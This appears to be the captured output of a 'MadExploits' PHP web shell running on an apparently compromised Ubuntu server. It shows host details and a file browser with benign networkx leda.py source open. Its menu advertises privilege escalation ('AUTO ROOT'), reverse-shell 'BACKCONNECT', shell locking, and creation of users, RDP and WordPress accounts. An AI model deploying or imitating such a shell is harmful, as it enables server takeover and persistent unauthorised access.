Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
networkx /
readwrite /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
json_graph
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
__init__.py
644
B
-rw-r--r--
adjlist.py
8.22
KB
-rw-r--r--
edgelist.py
13.87
KB
-rw-r--r--
gexf.py
39.66
KB
-rw-r--r--
gml.py
28.2
KB
-rw-r--r--
gpickle.py
2.75
KB
-rw-r--r--
graph6.py
11.3
KB
-rw-r--r--
graphml.py
34.68
KB
-rw-r--r--
leda.py
2.83
KB
-rw-r--r--
multiline_adjlist.py
11.5
KB
-rw-r--r--
nx_shp.py
11.21
KB
-rw-r--r--
nx_yaml.py
2.55
KB
-rw-r--r--
p2g.py
3.27
KB
-rw-r--r--
pajek.py
8.63
KB
-rw-r--r--
sparse6.py
10.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : leda.py
""" Read graphs in LEDA format. LEDA is a C++ class library for efficient data types and algorithms. Format ------ See http://www.algorithmic-solutions.info/leda_guide/graphs/leda_native_graph_fileformat.html """ # Original author: D. Eppstein, UC Irvine, August 12, 2003. # The original code at http://www.ics.uci.edu/~eppstein/PADS/ is public domain. __author__ = """Aric Hagberg (hagberg@lanl.gov)""" # Copyright (C) 2004-2019 by # Aric Hagberg <hagberg@lanl.gov> # Dan Schult <dschult@colgate.edu> # Pieter Swart <swart@lanl.gov> # All rights reserved. # BSD license. __all__ = ['read_leda', 'parse_leda'] import networkx as nx from networkx.exception import NetworkXError from networkx.utils import open_file, is_string_like @open_file(0, mode='rb') def read_leda(path, encoding='UTF-8'): """Read graph in LEDA format from path. Parameters ---------- path : file or string File or filename to read. Filenames ending in .gz or .bz2 will be uncompressed. Returns ------- G : NetworkX graph Examples -------- G=nx.read_leda('file.leda') References ---------- .. [1] http://www.algorithmic-solutions.info/leda_guide/graphs/leda_native_graph_fileformat.html """ lines = (line.decode(encoding) for line in path) G = parse_leda(lines) return G def parse_leda(lines): """Read graph in LEDA format from string or iterable. Parameters ---------- lines : string or iterable Data in LEDA format. Returns ------- G : NetworkX graph Examples -------- G=nx.parse_leda(string) References ---------- .. [1] http://www.algorithmic-solutions.info/leda_guide/graphs/leda_native_graph_fileformat.html """ if is_string_like(lines): lines = iter(lines.split('\n')) lines = iter([line.rstrip('\n') for line in lines if not (line.startswith('#') or line.startswith('\n') or line == '')]) for i in range(3): next(lines) # Graph du = int(next(lines)) # -1=directed, -2=undirected if du == -1: G = nx.DiGraph() else: G = nx.Graph() # Nodes n = int(next(lines)) # number of nodes node = {} for i in range(1, n + 1): # LEDA counts from 1 to n symbol = next(lines).rstrip().strip('|{}| ') if symbol == "": symbol = str(i) # use int if no label - could be trouble node[i] = symbol G.add_nodes_from([s for i, s in node.items()]) # Edges m = int(next(lines)) # number of edges for i in range(m): try: s, t, reversal, label = next(lines).split() except: raise NetworkXError('Too few fields in LEDA.GRAPH edge %d' % (i + 1)) # BEWARE: no handling of reversal edges G.add_edge(node[int(s)], node[int(t)], label=label[2:-2]) return G
Close